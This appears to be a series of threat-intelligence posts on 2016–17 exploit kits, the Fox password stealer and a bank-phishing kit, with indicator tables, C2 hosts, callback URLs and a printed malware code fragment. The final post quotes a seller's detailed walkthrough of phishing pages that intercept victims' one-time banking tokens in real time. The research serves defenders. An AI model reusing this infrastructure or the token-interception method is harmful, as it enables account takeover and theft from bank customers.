unshinesupply.club93.190.141.39Nebula2017/02/27transportbomb.gramsunshinesupply.club93.190.141.39Nebula2017/02/28afforddrill.xzv4rzuctndfo.club93.190.141.45Nebula2017/02/28agesword.alvdxq1l6n0o.stream93.190.141.166Nebula2017/02/28authorparticle.390a20778a68d056c40908025df2fc4e.site93.190.141.45Nebula2017/02/28bakermagician.alvdxq1l6n0o.stream93.190.141.166Nebula2017/02/28bombclick.alvdxq1l6n0o.stream93.190.141.166Nebula2017/02/28burglarsatin.jsffu2zkt5va.trade93.190.141.45Nebula2017/02/28certificationplanet.87692f31beea22522f1488df044e1dad.top93.190.141.45Nebula2017/02/28chooseravioli.87692f31beea22522f1488df044e1dad.top93.190.141.45Nebula2017/02/28coachadvantage.reportattackconifer.site93.190.141.39Nebula2017/02/28databasesilver.reportattackconifer.site93.190.141.39Nebula2017/02/28date-of-birthtrout.87692f31beea22522f1488df044e1dad.top93.190.141.45Nebula2017/02/28dependentswhorl.jsffu2zkt5va.trade93.190.141.45Nebula2017/02/28derpenquiry.87692f31beea22522f1488df044e1dad.top93.190.141.45Nebula2017/02/28domainconsider.mxkznekruoays.trade93.190.141.200Nebula2017/03/01agesword.alvdxq1l6n0o.stream93.190.141.166Nebula2017/03/01authorparticle.390a20778a68d056c40908025df2fc4e.site93.190.141.45Nebula2017/03/01bakermagician.alvdxq1l6n0o.stream93.190.141.166Nebula2017/03/01bombclick.alvdxq1l6n0o.stream93.190.141.166Nebula2017/03/02actressheight.knowledgedrugsaturday.club93.190.141.45Nebula2017/03/02agesword.alvdxq1l6n0o.stream93.190.141.166Nebula2017/03/02applywholesaler.tboapfmsyu.stream93.190.141.200Nebula2017/03/02approvepeak.knowledgedrugsaturday.club93.190.141.45Nebula2017/03/02bakermagician.alvdxq1l6n0o.stream93.190.141.166Nebula2017/03/02bombclick.alvdxq1l6n0o.stream93.190.141.166Nebula2017/03/02borrowfield.77e1084e.pro93.190.141.45Nebula2017/03/02boydescription.356020817786fb76e9361441800132c9.win93.190.141.39Nebula2017/03/02buglecommand.textfatherfont.info93.190.141.39Nebula2017/03/02buysummer.77e1084e.pro93.190.141.45Nebula2017/03/02captaincertification.77e1084e.pro93.190.141.45Nebula2017/03/02chargerule.textfatherfont.info93.190.141.39Nebula2017/03/02cityacoustic.textfatherfont.info93.190.141.39Nebula2017/03/02clickbarber.356020817786fb76e9361441800132c9.win93.190.141.39Nebula

CVE-2016-7200 & CVE-2016-7201 are vulnerabilities in the Chakra JavaScript scripting engine in Microsoft Edge. Reported by Natalie Silvanovich of Google Project Zero, those have been fixed  in november 2016 (MS16-129) by Microsoft.Note : No successful exploitation seen despite integration tries.On 2017-01-04 @theori_io released a POCProof-of-Concept exploit for Edge bugs (CVE-2016-7200 & CVE-2016-7201) —https://t.co/DnwQt5giMB— Theori (@theori_io) 4 janvier 2017providing again (cf CVE-2016-0189) ready-to-use code to Exploit Kit maintainer.After not far from 6 months without new exploit integrated in an EK ecosystem which has lost its innovation locomotive (Angler) , the drive-by landscape is struggling to stay in shape. Low infection rate means more difficulties to properly convert bought traffic.The exploits are spotted first in Sundown, but integration in RIG/Empire/Neutrino/Magnitude/Kaixin should be a matter of hours/days.[edit : 2017-01-10]​I have been told that with Win10 1607, Microsoft Edge has some quite strong mitigation: no WinExec, no CreateProcess, no ShellExecute, meaning every child process creation is blocked. The PoC might need a little more "magic powder" to work there.[/edit]Sundown:2017-01-06Sundown EK firing CVE-2016-7200/7201 to Edge 2017-01-06No exploitation here thoughFiddler: Sundown_Edge__CVE-2016-7201_170106.zip (password is malware)Out of topic: expected payload in that infection chain was zloader. (other payload seen in past weeks dropped via Sundown : Zeus Panda, Neutrino Bot, Dreambot, Chthonic, Andromeda, Smokebot, Betabot, Remcos, IAP, RTM, Kronos, Bitcoin Miner)Neutrino:2017-01-14--Thanks to Trendmicro for the multiple inputs that allowed me to keep plugged to this infection chain.--So as explained previously Neutrino is now in full private mode and fueled via Malvertising bought to several ad agencies (e.g. ZeroPark, ClickAdu, PropellerAds, HillTopAds) by a Traffer actor which I tag as NeutrAds. Their infection chain is now accepting/redirecting Microsoft Edge Browser as well.Without big surprise a new exploit is included in the Flash bundle : nw27 >  CVE-2016-7200/7201.NeutrAds redirect is now  accepting Edge traffic - 2017-01-14Neutrino Embedding CVE-2016-7200/7201 - 2017-01-14(Neutrino-v flash ran into Maciej ‘s Neutrino decoder )Extracted CVE-2016-7200/7201  elements - 2017-01-14Note: i did not get infection with- Edge 25.10586.0.0 / EdgeHTML 13.10586- Edge 20.10240.16384.0Fiddler&Pcap : Neutrino-v_CVE-2016-72007201_170114.zip  (Password is malware)Extracted exploits: Neutrino_2017-01-14.zip (Password is malware)reveiled[.space|45.32.113.97 - NeutrAds Filtering Redirectorvfwdgpx.amentionq[.win|149.56.115.166 - Neutrino Payload in that pass : Gootkit - b5567655caabb75af68f6ea33c7a22dbc1a6006ca427da6be0066c093f592610Associated C2 :buyyou[.org | 204.44.118.228felixesedit[.comfastfuriedts[.org monobrosexeld[.orgSo those days, in Asia you'll most probably get Cerber and in EU/NA you'll most probably get GootkitMISP : taxonomy illustrating some NeutrAds into Neutrino-v recorded activity (and post infection)Kaixin:2017-01-15 Finding by Simon ChoiCVE-2016-7200/7201 code fired by Kaixin - 2017-01-16Fiddler : Kaixin_2017-01-16.zip (Password is malware)Out of topic: payload in another pass (not fired by this exploit) was Blackmoon/Banbra 6c919213b5318cdb60d67a4b4ace709dfb7e544982c0e101c8526eff067c8332Callback:http://r.pengyou[.com/fcg-bin/cgi_get_portrait.fcg?uins=1145265195http://67.198.186[.254/ca.php?m=525441744D5441744D6A63744E3055744D554D745130493D&h=437Edits:2016-11-10 - Adding information about mitigation on Edge2016-11-14 - Adding Neutrino2016-11-16 - Fixed the screenshot for Neutrino. Was stating CVE-2016-4117 was there. It's not2016-11-16 - Adding KaixinRead More:Three roads lead to Rome - Qihoo360 - 2016-11-29Proof-of-Concept exploit for Edge bugs (CVE-2016-7200 & CVE-2016-7201) - Theori-io - 2017-01-04

  Around the middle of August many infection chains transitioned to RIG with more geo-focused bankers and less CryptXXX (CryptMic) Ransomware. Picture 1: Select Drive-by landscape - Middle of August 2016 vs Middle of July 2016RIG += internal TDS :Trying to understand that move, I suspected and confirmed the presence of an internal TDS (Traffic Distribution System) inside RIG Exploit Kit [Edit 2016-10-08 : It seems this functionality is limited to Empire Pack version of RIG]I believe this feature appeared in the EK market with Blackhole (if you are aware of a TDS integrated earlier directly in an EK please tell me) Picture2: Blackhole - 2012 - Internal TDS illustrationbut disappeared from the market with the end of Nuclear Pack Picture3: Nuclear Pack - 2016-03-09 - Internal TDS illustrationand Angler EK Picture 4 : Angler EK - Internal TDS illustrationThis is a key feature for load seller. It is making their day to day work with traffic provider far easier . It allows Exploit Kit operator to attach multiple payloads to a unique thread. The drop will be conditioned by Geo (and/or OS settings) of the victim.Obviously you can achieve the same result with any other exploit kit…but things are a little more difficult. You have to create one Exploit Kit thread per payload, use an external TDS (like Keitaro/Sutra/BlackHat TDS/SimpleTDS/BossTDS, etc…) and from that TDS, point the traffic to the correct Exploit Kit thread (or, if you buy traffic, tell your traffic provider where to send traffic for each targeted country). Picture 5: A Sutra TDS in action in 2012 - cf The path to infection RIG += RC4 encryption, dll drop and CVE-2016-0189:Around 2016-09-12 a variation of RIG (which i flag as RIG-v in my systems) appeared.A slightly different landing obfuscation, RC4 encoding, Neutrino-ish behavioral and added CVE-2016-0189 Picture 6: RIG-v Neutrino-ish behavioral captured by Brad Spengler’s modified cuckoo Picture 7: CVE-2016-0189 from RIG-v after 3 step de-obfuscation pass.Neutrino waves goodbye ?On 2016-09-09 on underground it has been reported a message on Jabber from the Neutrino seller account :“we are closed. no new rents, no extends more”This explains a lot. Here are some of my last Neutrino pass for past month. Picture 8: Some Neutrino passes for past month and associated taxonomy tags in MispAs you can see several actors were still using it…Now here is what i get for the past days : Picture 9: Past days in DriveBy land Not shown here, Magnitude is still around, mostly striking in AsiaDay after day, each of them transitioned to RIG or “RIG-v”. Around the 22nd of September 2016 the Neutrino advert and banner disappeared from underground. Picture 10: Last banner for Neutrino as of 2016-09-16Are we witnessing the end of Neutrino Exploit Kit ? To some degree. In fact it looks more like Neutrino is going in full “Private” mode “a la” Magnitude.Side reminder : Neutrino disappeared from march 2014 till november 2014A Neutrino VariantSeveral weeks ago, Trendmicro (Thanks!!) made me aware of a malvertising chain they spotted in Korea and Taiwan involving Neutrino. Picture 11: Neutrino-v pass on the 2016-09-21Upon replay I noticed that this Neutrino was somewhat different. Smoother CVE-2016-4117, more randomization in the landing, slightly modified flash bundle of exploits Picture 12: Neutrino-v flash ran into Maciej ‘s Neutrino decoder Note the pnw26 with no associated binary data, the rubbish and additionalInfoA Sample : 607f6c3795f6e0dedaa93a2df73e7e1192dcc7d73992cff337b895da3cba5523 Picture 13: Neutrino-v behavioral is a little different : drops name are not generated via the GetTempName api function k2(k) { var y = a(e + "." + e + "Request.5.1"); y.setProxy(n); y.open("GET", k(1), n); y.Option(n) = k(2); y.send(); if (200 == y.status) return Rf(y.responseText, k(n)) };Neutrino-v ensuring Wscript will use the default proxy (most often when a proxy is configured it’s only for WinINet , WinHTTP proxy is not set and Wscript will try to connect directly and fail)I believe this Neutrino variant is in action in only one infection chain (If you think this is inaccurate, i’d love to hear about it) Picture 14: Neutrino-v seems to be used by only one actor to spread Cerber 0079xThe actor behind this chain is the same as the one featured in the Malwarebytes Neutrino EK: more Flash trickery post.Empire Pack:Coincidentally a new Exploit Kit is being talked about underground : Empire Pack. Private, not advertised. Picture 15: King of Loads - Empire Pack PanelSome might feel this interface quite familiar…A look a the favicon will give you a hint Picture 16: RIG EK favicon on Empire Pack panel Picture 17: RIG PanelIt seems Empire Pack project was thought upon Angler EK disappearance and launched around the 14th of August 2016.[Speculation] I think this launch could be related to the first wave of switch to RIG that occurred around that time. I think, Empire Pack is a RIG instance managed by a Reseller/Load Seller with strong underground connections. [/Speculation]RIG-v is a “vip” version of RIG. Now how exactly those three elements (RIG, RIG-v, Empire Pack) are overlapping, I don’t know. I am aware of 3 variants of the API to RIGapi.php : historical RIG api3.php : RIG with internal TDS [ 2016-10-08 :  This is Empire Pack. Appears to be using also remote_api after this post went live. I flag it as RIG-E ]remote_api.php : RIG-vBut Empire Pack might be api3, remote_api, or a bit of both of them.By the way RIG has also (as Nuclear and Angler endup doing) added IP Whitelisting on API calls to avoid easy EK tracking from there.   :-" (Only whitelisted IP - from declared redirector or external TDS - can query the API to get the current landing) ConclusionLet’s just conclude this post with statistics pages of two Neutrino threads Picture 18: Neutrino stats - Aus focused thread - 2016-07-15Picture 19: Neutrino stats on 1 Million traffic - 2016-06-09“We will be known forever by the tracks we leave”Santee Sioux TribeSome IOCsDateDomainIPComment2016-10-01szsiul.bluekill[.]top137.74.55.6Neutrino-v2016-10-01twqivrisa.pinkargue[.]top137.74.55.7Neutrino-v2016-10-01u0e1.wzpub4q7q[.]top185.117.73.80RIG-E (Empire Pack)2016-10-01adspixel[.]site45.63.100.224NeutrAds Redirector2016-09-30re.flighteducationfinancecompany[.]com109.234.37.218RIG-v2016-09-28add.alislameyah[.]org193.124.117.13RIG-v2016-09-28lovesdeals[.]ml198.199.124.116RIG-v2016-09-27dns.helicopterdog[.]com195.133.201.23RIG2016-09-26sv.flickscoop[.]net195.133.201.41RIG2016-09-26red.truewestcarpetcare[.]com195.133.201.11RIG-v2016-09-26oitutn.yellowcarry[.]top78.46.167.130NeutrinoAcknowledgementsThanks Malc0de, Joseph C Chen (Trendmicro), Will Metcalf ( EmergingThreat/Proofpoint) for their inputs and help on multiple aspect of this post.Edits2016-10-03 :Removed limitation to KOR and TWN for Neutrino-v use by NeutrAds as Trendmicro informed me they are now seeing them in other Geos.Added explanation about the IP whitelisting on RIG API (it was not clear)2016-10-08 :Updated with gained information on Empire Pack2016-11-01 :RIG standard is now also using the pattern introduces past week by RIG-v. It's now in version 4.https://twitter.com/kafeine/status/790482708870864896RIG panelThe only instance of RIG using old pattern is Empire Pack (which previously could be guessed by domains pattern)2016-11-18 : Empire (RIG-E) is now using RC4 encoding as well. (still on old pattern and landing)RIG-E Behavioral2016-12-03RIG-v has increased filtering on IP ranges and added a pre-landing to filter out non IE traffic.2016-12-03 RIG-v Pre-landingRead MoreRIG’s Facelift - 2016-09-30 - SpiderLabs Is it the End of Angler ? - 2016-06-11 Neutrino : The come back ! (or Job314 the Alter EK) - 2014-11-01 Hello Neutrino ! - 2013-06-07The path to infection - Eye glance at the first line of “Russian Underground” - 2012-12-05

Gift for SweetTail-Fox-mlp by Mad-N-MonstrousSmall data drop about another Pony fork : Fox stealer.First sample of this malware I saw was at beginning of September 2016 thanks to Malc0de. After figuring out the panel name and to which advert it was tied we were referring to it as PonyForx.Advert :2016-08-11 - Sold underground by a user going with nickname "Cronbot"--------Стилер паролей и нетолько - Fox v1.0Мы выпускаем продукт на продажу. Уже проходит финальная стадия тестирования данного продукта.О продукте : 1. Умеет все что умеет пони. + добавлен новый софт.2. Актуален на 2016 год.3. Написан на С++ без дополнительных библиотек.4. Админка от пони.Условия : 1. Только аренда.2. Распространяется в виде EXE и DLL.3. Исходники продавать не будем.Аренда 250$ в месяц.Исходники 2000$ разово.----Translated by Jack Urban : ----Password stealer and more - Fox v.1.0We are releasing the product for general sale. Final stage of testing for this product is already underway.About the product:1. Is able to do everything that pony does. + new software has been added.2. Relevant for 2016.3. Written in C++ without additional libraries.4. Admin from pony.Conditions:1. For rent only.2. Distributed as an EXE and DLL.3. We will not be selling the source.Rent is $250 a month.Originals are a 2000$ one time fee. --------It's being loaded (with Locky Affid 13) by the Godzilla from ScriptJS (aka AfraidGate) group .MISP taxonomy tags reflecting ScriptJS activity in the last months(note : it's not the first time this group is pushing a stealer, they were dropping Pony with their Necurs between August and December 2015 [1] )2016-09-26 - ScriptJS infection chain into Neutrino into Godzilla loader into PonyForx and Locky Affid 13Here we can see the browsing history of the VM being sent to PonyForx (Fox stealer) C2Fox stealer (PonyForx) fingerprint in CuckooSample :cca1f8ba0be872ec86755e3defbb23c8fe4a272a6b4f7ec651302c5cddc5e183Associated C2:blognetoo[.]com/find.php/helloblognetoo[.]com/find.php/datablognetoo[.]com|104.36.83.52blognetoo[.]com|45.59.114.126Caught by ET rule :2821590 || ETPRO TROJAN Win32.Pony Variant Checkin[1] ScriptJS's Pony :master.districtpomade[.]com|188.166.54.203 - 2015-08-15 Pony C2 from ScriptJS​js.travelany[.]com[.]ve|185.80.53.18 - 2015-12-10 Pony C2 from ScriptJSRead More : http://pastebin.com/raw/uKLhTbLs few bits about ScriptJSInside Pony 1.7 / Fareit C&C - Botnet Control Panel - 2012-06-27Pony 1.9 (Win32/Fareit) - 2013-05-23 - Xylitol

Spotted by Symantec in the wild  patched with MS16-051 in may 2016, CVE-2016-0189 is now being integrated in Exploit Kit.Neutrino Exploit Kit :Here 2016-07-13 but i am being told that i am late to the party.It's already [CN] documented hereNeutrino after ScriptJS redirector dropping Locky Affid 13- 2016-07-13Flash sample in that pass : 85b707cf63abc0f8cfe027153031e853fe452ed02034b792323eecd3bc0f7fd(Out of topic payload : 300a51b8f6ad362b3e32a5d6afd2759a910f1b6608a5565ddee0cad4e249ce18 - Locky Affid 13 ) Thanks to Malc0de for invaluable help here :)Files Here: Neutrino_CVE-2016-0189_160714 (Password is malware - VT Link)Sundown :Some evidence of CVE-2016-0189 being integrated in Sundown were spotted on jul 15 by @criznashOn the 16th I recorded a pass where the CVE-2016-0189 had his own calls :Sundown exploiting CVE-2016-0189 to drop Smokebot on the 2016-07-16(Out of topic payload :  61f9a4270c9deed0be5e0ff3b988d35cdb7f9054bc619d0dc1a65f7de812a3a1 beaconing to : vicolavicolom.com | 185.93.185.224 )Files : Sundown_CVE-2016-0189_160716 (password is malware)RIG:I saw it on 2016-09-12 but might have appeared before.RIG successfully exploiting CVE-2016-0189 - 2016-09-12CVE-2016-0189 from RIG after 3 step decoding passFiles : RIG_2016-0189_2016-09-12 (password is malware)Magnitude:Here pass from 2016-09-16 but is inside since at least 2016-09-04 (Source : Trendmicro - Thanks)CVE-2016-0189 in Magnitude on 2016-09-16Sorry i can't share fiddler publicly in that case (Those specific one would give to attack side too much information about some of the technics that can be used - You know how to contact me)Out of topic Payload:  Cerbera0d9ad48459933348fc301d8479580f85298ca5e9933bd20e051b81371942b2cGrandSoft:Spotted first on 2017-09-22 here is traffic from 2018-01-30 on : Win10 Build 10240 - IE11.0.10240.16431 - KB3078071CVE-2016-0189 in GrandSoft on 2018-01-30Out of topic Payload:  GandCrab Ransomwarea15c48c74a47e81c1c8b26073be58c64f7ff58717694d60b0b5498274e5d9243Fiddler here : GrandSoft_WorkingonIE11_Win10d.zip (pass is malware) Edits :2016-07-15 a previous version was stating CVE-2015-5122 for nw23. Fixed thanks to @dnpushme2016-07-20 Adding Sundown.2016-09-17 Adding RIG2016-09-19 Adding Magnitude2018-01-30 Adding GrandSoft (but appeared there on 2017-09-22)Read More :[CN] NeutrinoEK来袭：爱拍网遭敲诈者病毒挂马 2016-07-14 - Qihoo360Patch Analysis of CVE-2016-0189 - 2016-06-22 - TheoriInternet Explorer zero-day exploit used in targeted attacks in South Korea - 2016-05-10 - SymantecNeutrino EK: fingerprinting in a Flash - 2016-06-28 - MalwarebytesPost publication Reading :Exploit Kits Quickly Adopt Exploit Thanks to Open Source Release - 2016-07-14 - FireEye

Everyone looking at the DriveBy landscape is seeing the same : as Nuclear disappeared around April 30th,  Angler EK has totally vanished on June 7th. We were first thinking about Vacation as in January 2016 or maybe Infrastructure move. But something else is going on.---On the Week-End of the 4-5th of June I noticed that the ongoing malvertising from SadClowns was redirecting to Neutrino Exploit Kit (dropping Cerber)EngageBDR malvertising redirecting to SadClowns infra pushing traffic to Neutrino to Drop Cerber RansomwareOn the 6th I noticed several group migrating to RIG, Neutrino or even Sundown.But I got speechless when I noticed that GooNky had switched to Neutrino to spread their CryptXXX U000001 and U000006.They were sticking exclusively to Angler EK since years and their vacation were synchronized with Angler's in January.Checking all known to me infection path I could hardly find some Angler....last one were behind the EItest infection chain on the night of the 6th to 7th of June.Last Angler pass I captured on 2016-06-07EITest into Angler dropping CryptXXX 3.200 U000017On June 7th around 5:30 AM GMT my tracker recorded its last Angler hit :Last Hit in my Angler tracker.After that...RIG, Neutrino instead of Angler almost everywhere.[Side note: Magnitude is still around...But as mentioned earlier it's a One Actor operation since some time]Aside SadClowns and GooNky here are two other big (cf traffic volume) group which transition has not been covered already"WordsJS"  (named NTL/NTLR by RiskIQ) into Neutrino > CryptXXX U0000102016-06-10"ScriptJS" (Named DoublePar by RiskIQ and AfraidGate by PaloAlto) into Neutrino > CryptXXX U000011This gang  was historically dropping Necurs, then Locky Affid13 before going to CryptXXXIllustrating with a picture of words and some arrows:MISP : select documented EK pass with associated tags.1 arrow where you would have find Angler several days before.(+ SadClowns + GooNky not featured in that selection)With the recent 50 arrests tied to Lurk in mind and knowing the infection vector for Lurk was the "Indexm" variant of Angler between 2012 and beginning of 2016...we might think there is a connection and that some actors are stepping back.Another hint that this is probably not vacation "only" for Angler is that Neutrino changed its conditions on June 9th. From 880$ per week on shared server and 3.5k$ per month on dedicated, Neutrino doubled the price to 7k$ on dedicated only (no more per week work). Such move were seen in reaction to Blackhole's coder (Paunch) arrest in October 2013.So is this the End of Angler ? The pages to be written will tell us.“If a book is well written, I always find it too short.” ― Jane Austen, Sense and SensibilityPost publication notes:[2016-06-12]RIG : mentioned they were sill alive and would not change their Price.Maybe unrelated to RIG mention, Neutrino updated his thread as announced previously on underground but conditions are revisited :------Google translate:-----Tarif week on a shared server:Rent: $ 1500Limit: 100k hosts per dayOne-time daily discharge limits: $ 200Rate per month on a dedicated server:Rent: $ 4000Limits: 500k hosts per day, and more - on an individual basis.One-time daily discharge limits: $ 200----------------So now only price per week is doubled and month rate + ~20%[2016-06-13]Our exploit kit stats for the last two weeks… Angler dives, Neutrino soars. pic.twitter.com/RcYAH6tVck— News from the Lab (@FSLabs) June 13, 2016Acknowledgement:Thanks to Will Metcalf (Emerging Threats/Proofpoint) who made the replay of SadClowns' malvertising possible. Thanks to EKWatcher and Malc0de for their help on several points.Read More :XXX is Angler EK - 2015-12-21Russian hacker gang arrested over $25m theft - 2016-06-02 - BBC NewsNeutrino EK and CryptXXX - 2016-06-08 - ISCSansLurk Banker Trojan: Exclusively for Russia - 2016-06-10 - Securelist - KasperskyHow we helped to catch one of the most dangerous gangs of financial cybercriminals - 2016-08-30 - SecureList

Discovered being exploited in the wild by FireEye [1] on May 8, 2016, patched 4 days later with Flash 21.0.0.242, CVE-2016-4117 is making its way to Exploit Kits.Magnitude :CVE confirmed by FireEye - Thanks !On 2016-05-21 Magnitude is firing an exploit to Flash up to 21.0.0.213.Magnitude firing exploit to Flash 21.0.0.213 - 2016-05-21For now i did not get exploitation in the different pass i tried but in the Flash exploit we can see some quite explicit imports : import com.adobe.tvsdk.mediacore.timeline.operations.DeleteRangeTimelineOperation;Magnitude Flash Exploit showing import of the DeleteRangeTimelineOperationSpotted sample :  f5cea58952ff30e9bd2a935f5843d15952b4cf85cdd1ad5d01c8de2000c48b0aFiddler sent here.Updates to come as it appears to be a work in progress.Neutrino :2016-05-23Spotted by Eset.2016-05-23 Neutrino successfully exploit CVE-2016-4117 on Flash 21.0.0.213 and drop here CryptXXXSample in that pass : 30984accbf40f0920675f6ba0b6daf2a3b6d32c751fd6d673bddead2413170e8Fiddler sent here (Password is malware)Out of topic payload: 110891e2b7b992e238d4afbaa31e165a6e9c25de2aed442574d3993734fb5220 CryptXXXAngler EK:2016-05-23CVE identification by Henri Nurmi from F-Secure. Thanks !Angler EK successfully exploit Flash 21.0.0.213 on 2016-05-23 dropping DridexSample in that pass : 310528e97a26f3fee05baea69230f8b619481ac53c2325da90345ae7713dcee2Fiddler sent hereOut of topic payload  : 99a6f5674b738591588416390f22dedd8dac9cf5aa14d0959208b0087b718902Most likely Dridex 123 targeting Germany based on distribution path.Sundown :  [3]2016-08-27Sample in that pass : cf6be39135d8663be5241229e0f6651f9195a7434202067616ae00712a4e34e6 Fiddler sent here  (password : malware)Read More:[1] CVE-2016-4117: Flash Zero-Day Exploited in the Wild - 2016-05-13 - Genwei Jiang - FireEye[2] New Flash Vulnerability CVE-2016-4117 Shares Similarities With Older Pawn Storm Exploit - 2016-05-13 - Moony Li - TrendMicro[3] Sundown EK – Stealing Its Way to the Top - 2016-09-02 - Spiderlabs

Fallout Vault Boy maskThe goal of the post is to open-source data on a kit that has been seen live impersonating bank portal. This is mostly Raw data, few part only will be "google translated".On September 2015 the 16th,  an advert about a multipurpose kit appeared underground :------------------------------------------By: [Redacted]Subject : Инжекты | Админки | Фейки, -50% от рыночных цен -Доброе время суток всем.Рад предоставить свои услуги по разработке следующих проектов:Инжекты;Grabers 80-150$*;Pasive ATS 500-800$*;Active ATS 800-1500$*;Tooken Panels 400-800$*;Replacers 200-400$*;И многое другое...Фейки;Простые клоны 70-150$*;Продвинутые с перехватом 200-500$*;Админки на пхп;Под любые нужды ...*данные цены служат ориентиром. Реальная цена будет зависеть от каждого техзадания индивидуальноJabber( [Redacted]@exploit.im )ICQ( 6[Redacted]8 )------------------------------------------Google Translated as :------------------------------------------By: [Redacted]Subject: Inject | admin area | Fakes, -50% of the market price -Good time of day to all.I am glad to provide services for the development of the following projects:Inject;Grabers 80-150 $ *;Pasive ATS 500-800 $ *;Active ATS 800-1500 $ *;Tooken Panels 400-800 $ *;Replacers 200-400 $ *;And much more...fakes;Simple clones 70-150 $ *;Advanced interception $ 200-500 *;Admin Center on php;Under any needs ...* These prices are a guide. The actual price will depend on each individual ToRsJabber ([Redacted] @ exploit.im)ICQ (6[Redacted]8)------------------------------------------NB : The Subject became later :--Инжекты | Админки | Фейки | Android Инжекты, -50% от рыночных цен --Inject | admin area | fakes | Inject Android, 50% of the market price ---Seller later added :------------------------------------------Последее время очень мнoго вопросов по поводу как работает перехват на скам странице. Решил детально описать процес чтобы изначально не вводить клиентов в заблуждение.В самом начале надо понять что такое "СКАМ СТАНИЦА"."СКАМ СТРАНИЦА"- это копия реальной странички логина в банк ,которая находится на нашем сервере с похожем на банк доменом. Все детали вводимые на ней будут лететь к нам.Далее уже на выбор, или дание идут на емайл, или на специально сделанную админку.Тоесть суть замута такова:жертва попадает на нашу страницу ->вводит данные->потом наша страница кидает жертву обратно на оригинал ->и мы поже ипользуем данные сами чтобы войти..| Это самый примитивный пример , на самом деле все чуток сложнее и зависит от фантазии заказа .Дальше надо понять что такое "ПЕРЕХВАТ"."ПЕРЕХВАТ" - eто вид обмана, очень часто ипользуетса в инжектах. Само название говорит за себя.Инжект перехватывает дание в рельном времени и присылает нам . В это время жертва как обычно ждет с гиф на экране,а вы заходите вместо него.| Зачем это надо?Затем что если для перевода вам требуется дополнительно второй пароль/смс/тукен то можно это запросить ,пока жертва ждёт, через специально сделанные команды в админке.Основной бенефит что это можно делать повторно ,много раз.|| Перехват на скам страничке работать точно также . Жертвa вводить дание и ждет пока мы его спросим то что нам надо.|Поэтапно:Преставим себе что есть банк где на вход надо UserName и Password . На активацию перевода по IBAN надо нoмер с тукен-прибора (Pin1) и для переводa надо ввести номер в тукен-прибор и тукен-прибор даст нам номер обратно (Pin2)Теперь преставим себе что у нас есть скам странница на этот банк , которая будет отсылать нам получение даные для входа и потом покажет заставку жертве с просьбой подождать. Мы находимся на другом конце в админке и наблюдаем такую катину .Краткое пособие по админке."I'am Online"- показывает находится ли оператор в админке , если "Off-line" то все жертвы будут перенаправлены обратно на оригинал страницу.Колонка "Keys" это есть полученные детали для входа.Колонка "Pin" это для получених тукенов/пинов .Колонка "Task" для добавленья операции по запросу тукена/пинов .Колонка "Redirect" показывает релле редиректа конкретной жертвы . Если поставить "On" то жертва будет перенапрвлена на оригинал сразу.| *Если жертва мегает красним то это значит что жертва какраз ждет от вас комадуИ так , на даном этапе у нас есть логины для входа , и ждущий человвек на нашей странице .Входим, идем на активацию IBAN . Там нас спрашивает Pin1/Tooken1 .Мы идем обратно на админку и нажимаем запрос операции. У нас откроется окно с выбором операций .Нажимаем на "ask Pin1" и жертва видит вот это:Дальше все просто. Жертва вводить "pin1" и он приходит к нам на админку . А жертва в это время снова видит пред собой заставку "подождите" .Если пин подошол, идем на перевод и такимже способом просим "pin2". Важно понимать что это все можно повторять много раз и после неверного пина можно снова его запросить .Если залив ушол , ставим "Redirect" на "On" и юсер уходит на оригинал. Или в продвинутых системах можно показать ему техроботы и попросить зайти попоже.Вот и все!**Все тексты на английском по админке написаны с ошибками , я это знаю ).Делал очень быстро . Никак не дойдут руки сделать до конца ------------------------------------------On march 2016 the 9th :------------------------------------------доброе время суток всем.С великой радостью рад предложить свои услуги по разработке инжектов под мобильные устройства для многих публичных андроид ботов .Цены зависят от тех заданий .Пример роботы на один из UK линков можно посмотреть тут [REDACTED]pass:demoWith great joy, I am pleased to offer its services on developing injects for mobile devices for many public android bots.The prices depend on those jobs.An example of one of the injects on the UK link can be found here [REDACTED]pass:demo------------------------------------------Files mirrored here. (pass: demo)On march 2016 the 16th:------------------------------------------Ladie's and Gentlemen's.Don't miss out some fresh and well-designed mobile injects for UK.9 common links.Hight % success task.------------------------------------------On march 2016 the 31st:------------------------------------------Доброе время суток всем.Последним временем много клиентов задают одни и те же вопросы связаны с видео o работе перехвата на Нидерланды.Я решил более детально описать систему работы и поставить ее где-то в общедоступном месте.Прежде всего пару строчек хотел бы написать o админ панели. Oна называется Universal Admin. называется она не просто так Универсал,у нее реализована возможность поддерживать много разных проектов таких как: Tooken intercept,Text manager,Log parser,Drop manager и многое другое.[2 images here...not available at dump time]Не обращайте внимания на разные цвета и стили на Скринах ,стили меняются тоже прямо с админки.[1 image here...not available at dump time]Tо есть админ панель одна а плагинов под нее может быть много.Hа видео Вы видели эту админку с плагином Tooken intercept + Text manager.Text manager-это менеджер текстовых блоков и название кнопок, которые будут автоматически вставляется в вашы страницы,инжекты и фишинг сраницы.[1 images here...not available at dump time]Все что надо сделать для работы это создать текстовый блок с определенным ID ,потом на вашей странице создать элемент с этим же ID ивставить одну функцию в конец документа.Для примера: У вас есть инжект в котором есть определенная Легенда запроса дополнительной информации.Чтобы изменить эту Легенду вам как минимум надо разбираться в HTML и как максимум пересобирать конфигурацию бота.С помощью текстового менеджера в моей админке все что вам надо это поменять текст в определенном блоке и нажать сохранить.Tooken intercept- это собственно то о чем мы будем сейчас говорить.Не важно каким способом Вы стараетесь обмануть жертву (Injec ,phishing page) цель является добытие определенного пакета информации .Для примера скажем у вас есть Paypal Phishing page с помощью которой вы добывайте username и пароль. эти данные отсылаются куда-то наадминку в нашем случае это Universal Admin.Username и пароль это и есть тот самый пакет информации который после отправки формы сохраняются у вас ,а кокретно вот тут[1 image here...not available at dump time]Использовать эту информацию можно по-разному в зависимости от вашего проекта.Одним из методов использования этой информации является перехват(intercept) ,то есть использовать информацию в реальном времени прямо сейчас.Вы перехватили username и пароль и вместо жертвы попадаете на ак ,пока жертва ждет думая что страница грузится.В случае с PayPal использования перехвата не совсем обязательно, так как полученные пакет информации а именно username и пароль Выможете использовать и через неделю. Но в связи с тем что последнее время много контор используют One Time password(Tooken),которые действительны только 30 секунд, обойтись без Tooken interstep нереально. Tooken intercept дает вам возможность использовать тот самый пароль(tooken) на протяжении 30 секунд пока жертва ждет загрузки следующей страницы. Возьмем тот же PayPal. Скажем вы получили только что username и пароль, зашли внутрь, и на главной странице вам выскочила рамочка гдеговорится что для подтверждения вашей личности на ваш мобильный телефон был отправлен SMS с коротким кодом(Tooken) код который надо вести тam же в рамочкe.Код который был отправлен на мобильный телефон жертвы!!! жертва которая на данный момент находится на вашей странице(Phishing Inject)!!!там где только что она(жертва) ввела username и пароль, username и 